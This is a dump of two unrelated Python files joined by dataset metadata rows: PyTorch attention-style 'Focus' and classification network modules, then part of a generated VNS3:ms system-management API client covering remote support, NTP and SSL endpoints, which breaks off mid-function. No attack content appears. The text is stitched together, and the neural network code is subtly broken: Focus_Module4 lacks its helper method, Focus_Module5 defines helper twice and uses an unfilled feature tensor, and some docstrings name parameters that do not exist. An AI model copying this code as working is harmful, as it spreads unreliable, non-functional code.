class Focus_Module3(nn.Module):
'''
Focus Network uses Module 3 averages at conv layer 2
'''
def __init__(self,inp,out):
super(Focus_Module3, self).__init__()
self.inputs = inp
self.output = out
self.module = Module3(self.inputs,self.output)
def forward(self, z):
#print("flag1",z.shape)
#print("flag2",z[:,0].shape)
batch = z.shape[0]
x = torch.zeros([batch,9],dtype=torch.float64)
y = torch.zeros([batch,9, 6,10], dtype=torch.float64)
feature = torch.zeros([batch,9,6,10,10],dtype=torch.float64)
x,y = x.to(device),y.to(device)
feature = feature.to(device)
for i in range(9):
alp,ftr= self.helper(z[:,i])
#print("flag3",ftr.shape)
x[:,i] = alp[:,0]
feature[:,i] = ftr
x = F.softmax(x,dim=1) # alphas
#x1 = x[:,0]
#torch.mul(x1[:,None,None,None],z[:,0])
for i in range(9):
x1 = x[:,i]
y = y + torch.mul(x1[:,None,None,None],feature[:,i])
return y , x
def helper(self,x):
x,features = self.module(x)
#print(x.shape)
return x,features
class Focus_Module4(nn.Module):
'''
Focus Network uses Module 4 averages at conv layer 1
'''
def __init__(self,inp,out):
super(Focus_Module4, self).__init__()
self.inputs = inp
self.output = out
self.module = Module4(self.inputs,self.output)
def forward(self, z):
#print("flag1",z.shape)
#print("flag2",z[:,0].shape)
batch = z.shape[0]
x = torch.zeros([batch,9],dtype=torch.float64)
y = torch.zeros([batch,6, 28,28], dtype=torch.float64)
feature = torch.zeros([batch,9,6,28,28],dtype=torch.float64)
x,y = x.to(device),y.to(device)
feature = feature.to(device)
for i in range(9):
alp,ftr= self.helper(z[:,i])
#print("flag3",ftr.shape)
x[:,i] = alp[:,0]
feature[:,i] = ftr
x = F.softmax(x,dim=1) # alphas
#x1 = x[:,0]
#torch.mul(x1[:,None,None,None],z[:,0])
for i in range(9):
x1 = x[:,i]
y = y + torch.mul(x1[:,None,None,None],feature[:,i])
return y , x
class Focus_Module5(nn.Module):
'''
Focus Network uses Module 5 averages at zroth layer
'''
def __init__(self,inp,out):
super(Focus_Module5, self).__init__()
self.inputs = inp
self.output = out
self.module = Module5(self.inputs,self.output)
def forward(self, z):
#print("flag1",z.shape)
#print("flag2",z[:,0].shape)
batch = z.shape[0]
x = torch.zeros([batch,9],dtype=torch.float64)
y = torch.zeros([batch,3, 32,32], dtype=torch.float64)
feature = torch.zeros([batch,9,3,32,32],dtype=torch.float64)
x,y = x.to(device),y.to(device)
feature = feature.to(device)
for i in range(9):
alp= self.helper(z[:,i])
#print("flag3",ftr.shape)
x[:,i] = alp[:,0]
x = F.softmax(x,dim=1) # alphas
#x1 = x[:,0]
#torch.mul(x1[:,None,None,None],z[:,0])
for i in range(9):
x1 = x[:,i]
y = y + torch.mul(x1[:,None,None,None],feature[:,i])
return y , x
def helper(self,x):
x,features = self.module(x)
#print(x.shape)
return x,features
def helper(self,x):
x= self.module(x)
#print(x.shape)
return x
class Classification_Module(nn.Module):
'''
Classification Network data averaged at zeroth layer
'''
def __init__(self,inp,out):
super(Classification_Module,self).__init__()
self.inputs = inp
self.output = out
self.conv1 = nn.Conv2d(self.inputs, 6, 5)
self.pool = nn.MaxPool2d(2, 2)
self.conv2 = nn.Conv2d(6, 8, 5)
self.fc1 = nn.Linear(8 * 5 * 5, 120)
self.fc2 = nn.Linear(120, 84)
self.fc3 = nn.Linear(84, 10)
self.fc4 = nn.Linear(10,self.output)
def forward(self,x):
#print("input",x.shape)
x = self.pool(F.relu(self.conv1(x)))
x = self.pool(F.relu(self.conv2(x)))
#print("middle",x.shape)
x = x.view(-1,8*5*5)
#print()
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = F.relu(self.fc3(x))
x = self.fc4(x)
#print("output",x.shape)
return x
class Classification_Module2(nn.Module):
'''
Classification Network averaged data at 3rd conv layer
'''
def __init__(self,inp,out):
super(Classification_Module2,self).__init__()
self.inputs = inp
self.output = out
self.fc1 = nn.Linear(20 *6 *6 , 120)
self.fc2 = nn.Linear(120, 84)
self.fc3 = nn.Linear(84, 10)
self.fc4 = nn.Linear(10,self.output)
def forward(self,x):
x = x.view(-1,20*6*6)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = F.relu(self.fc3(x))
x = self.fc4(x)
return x
class Classification_Module3(nn.Module):
'''
Classification Network averaged data at conv layer 2
'''
def __init__(self,inp,out):
super(Classification_Module3,self).__init__()
self.inputs = inp
self.output = out
self.conv1 = nn.Conv2d(self.inputs, 20, 5)
self.fc1 = nn.Linear(20 *6 *6 , 120)
self.fc2 = nn.Linear(120, 84)
self.fc3 = nn.Linear(84, 10)
self.fc4 = nn.Linear(10,self.output)
def forward(self,x):
x = F.relu(self.conv1(x))
#print("flag1",x.shape)
x = x.view(-1,20*6*6)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = F.relu(self.fc3(x))
x = self.fc4(x)
return x
class Classification_Module4(nn.Module):
'''
Classification Network averages data at conv layer 1
'''
def __init__(self,inp,out):
super(Classification_Module4,self).__init__()
self.inputs = inp
self.output = out
self.pool = nn.MaxPool2d(2, 2)
self.conv1 = nn.Conv2d(self.inputs, 12, 5)
self.conv2 = nn.Conv2d(12,20,5)
self.fc1 = nn.Linear(20 *8 *8 , 120)
self.fc2 = nn.Linear(120, 84)
self.fc3 = nn.Linear(84, 10)
self.fc4 = nn.Linear(10,self.output)
def forward(self,x):
x = F.relu(self.pool(self.conv1(x)))
x= F.relu(self.conv2(x))
#print("flag1",x.shape)
x = x.view(-1,20*8*8)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = F.relu(self.fc3(x))
x = self.fc4(x)
return x
class Classification_Module5(nn.Module):
'''
Classification Network data averaged at zeroth conv layer
'''
def __init__(self,inp,out):
super(Classification_Module5,self).__init__()
self.inputs = inp
self.output = out
self.conv1 = nn.Conv2d(self.inputs, 6, 5)
self.pool = nn.MaxPool2d(2, 2)
self.conv2 = nn.Conv2d(6, 16, 5)
self.fc1 = nn.Linear(16 * 5 * 5, 120)
self.fc2 = nn.Linear(120, 84)
self.fc3 = nn.Linear(84, 10)
self.fc4 = nn.Linear(10,self.output)
def forward(self,x):
x = self.pool(F.relu(self.conv1(x)))
x= self.pool(F.relu(self.conv2(x)))
#print("flag1",x.shape)
x = x.view(-1,16*5*5)
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = F.relu(self.fc3(x))
x = self.fc4(x)
return x
| 26.185468 | 71 | 0.586272 | 2,229 | 13,695 | 3.538807 | 0.053387 | 0.018002 | 0.054767 | 0.049442 | 0.917977 | 0.915314 | 0.861942 | 0.838109 | 0.801597 | 0.739478 | 0 | 0.067942 | 0.240161 | 13,695 | 522 | 72 | 26.235632 | 0.690083 | 0.154801 | 0 | 0.793605 | 0 | 0 | 0.000618 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.101744 | false | 0 | 0.017442 | 0 | 0.22093 | 0.002907 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
73bafee8aff0375936e003f370e59ec1424ca003 | 37,976 | py | Python | cohesivenet/api/vns3ms/system_api.py | cohesive/python-cohesivenet-sdk | 5620acfa669ff97c94d9aa04a16facda37d648c1 | [
"MIT"
] | null | null | null | cohesivenet/api/vns3ms/system_api.py | cohesive/python-cohesivenet-sdk | 5620acfa669ff97c94d9aa04a16facda37d648c1 | [
"MIT"
] | null | null | null | cohesivenet/api/vns3ms/system_api.py | cohesive/python-cohesivenet-sdk | 5620acfa669ff97c94d9aa04a16facda37d648c1 | [
"MIT"
] | null | null | null | # coding: utf-8
"""
VNS3:ms API
Cohesive networks VNS3 provides complete control of your network's addresses, routes, rules and edge. Networking does # noqa: E501
Contact: solutions@cohesive.net
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import re # noqa: F401
from cohesivenet.api_builder import VersionRouter
def get_remote_support_details(api_client, **kwargs): # noqa: E501
"""Get Remote Support Details # noqa: E501
Get Remote Support details - check if enabled # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.get_remote_support_details(async_req=True)
:param VNS3Client api_client: (required)
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = []
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/remote_support",
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def put_remote_support(api_client, enable=False, **kwargs): # noqa: E501
"""Get Remote Support Details # noqa: E501
Enable/Disable remote support # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.put_remote_support(enable=True, async_req=True)
:param VNS3Client api_client: (required)
:param enable bool: Enable/Disable remote support(required)
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = ["enable"]
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
for param in [p for p in request_params if local_var_params.get(p) is not None]:
body_params[param] = local_var_params[param]
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# HTTP header `Content-Type`
header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/remote_support",
"PUT",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def get_remote_support_keypair_details(api_client, **kwargs): # noqa: E501
"""Get Remote Support Keypair status # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.get_remote_support_keypair_details(async_req=True)
:param VNS3Client api_client: (required)
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = []
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/remote_support/keypair",
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def post_generate_remote_support_keypair(
api_client, encrypted_passphrase=None, **kwargs
): # noqa: E501
"""Generate new remote support keypair # noqa: E501
Will regenerate keyapir if one already exists # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.post_generate_remote_support_keypair("asdfasd", async_req=True)
:param VNS3Client api_client: (required)
:param encrypted_passphrase str: Encrypted passphrase string
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = ["encrypted_passphrase"]
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
for param in [p for p in request_params if local_var_params.get(p) is not None]:
body_params[param] = local_var_params[param]
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# HTTP header `Content-Type`
header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/remote_support/keypair",
"POST",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def delete_remote_support_keypair(api_client, **kwargs): # noqa: E501
"""Delete Remote Support Keypair # noqa: E501
Deleting remote support keypair with revoke access # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.delete_remote_support_keypair("asdfasd", async_req=True)
:param VNS3Client api_client: (required)
:param encrypted_passphrase str: Encrypted passphrase string
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = []
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/remote_support/keypair",
"DELETE",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def get_system_status(api_client, **kwargs): # noqa: E501
"""Get System status # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.get_system_status(async_req=True)
:param VNS3Client api_client: (required)
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = []
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/status",
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def get_credential_types(api_client, **kwargs): # noqa: E501
"""Get system credential types # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.get_credential_types(async_req=True)
:param VNS3Client api_client: (required)
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = []
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/credential_types",
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def get_credential_type_details(api_client, code, **kwargs): # noqa: E501
"""Get credential type details # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.get_credential_type_details(code, async_req=True)
:param VNS3Client api_client: (required)
:param code str: Credential type code (required)
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = []
collection_formats = {}
path_params = {"code": code}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/credential_types/{code}",
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def get_system_ntp_hosts(api_client, **kwargs): # noqa: E501
"""Get NTP hosts for system # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.get_system_ntp_hosts(async_req=True)
:param VNS3Client api_client: (required)
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = []
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/ntp_hosts",
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def post_add_ntp_host(api_client, host=None, **kwargs): # noqa: E501
"""Add new NTP host to system # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.post_add_ntp_host(host, async_req=True)
:param VNS3Client api_client: (required)
:param host str: New NTP hostname (required)
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = ["host"]
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
for param in [p for p in request_params if local_var_params.get(p) is not None]:
body_params[param] = local_var_params[param]
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# HTTP header `Content-Type`
header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/ntp_hosts",
"POST",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def delete_ntp_host(api_client, host_id, **kwargs): # noqa: E501
"""Remote NTP host # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.delete_ntp_host(host_id, async_req=True)
:param VNS3Client api_client: (required)
:param host_id int: Index of NTP host in list (required)
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = []
collection_formats = {}
path_params = {"host_id": host_id}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/ntp_hosts/{host_id}",
"DELETE",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def delete_ssl_install(api_client, **kwargs): # noqa: E501
"""Uninstall SSL # noqa: E501
Delete SSL certs and remove from HTTP endpoints # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.delete_ssl_install(host_id, async_req=True)
:param VNS3Client api_client: (required)
:param host_id int: Index of NTP host in list (required)
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = []
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/ssl",
"DELETE",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def get_ssl_install_status(api_client, uuid, **kwargs): # noqa: E501
"""Get SSL install Job status (DEPRECATED) # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.get_ssl_install_status(job_id, async_req=True)
:param VNS3Client api_client: (required)
:param uuid str: Job ID for SSL installation
:param host_id int: Index of NTP host in list (required)
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = []
collection_formats = {}
path_params = {"uuid": uuid}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/ssl/install/{uuid}",
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def put_upload_ssl_certs(api_client, cert=None, key=None, **kwargs): # noqa: E501
"""Upload new SSL key/cert pair # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.put_upload_ssl_certs(c, k, async_req=True)
:param VNS3Client api_client: (required)
:param cert str: New SSL cert (required)
:param key str: New SSL key (required)
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = ["cert", "key"]
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
for param in [p for p in request_params if local_var_params.get(p) is not None]:
body_params[param] = local_var_params[param]
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# HTTP header `Content-Type`
header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/ssl/keypair",
"PUT",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def put_install_ssl_certs(api_client, **kwargs): # noqa: E501
"""Install SSL key/cert pair # noqa: E501
Assumes SSL cert/key have already been uploaded # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.put_install_ssl_certs(async_req=True)
:param VNS3Client api_client: (required)
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = []
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = {}
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/ssl/install",
"PUT",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
def get_job_status(api_client, uuid, **kwargs): # noqa: E501
"""Get System Job status # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> response = await api.get_job_status(job_id, async_req=True)
:param VNS3Client api_client: (required)
:param uuid str: Job ID for SSL installation
:param async_req bool: execute request asynchronously
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: APIResponse or awaitable if async
"""
local_var_params = locals()
request_params = []
collection_formats = {}
path_params = {"uuid": uuid}
query_params = []
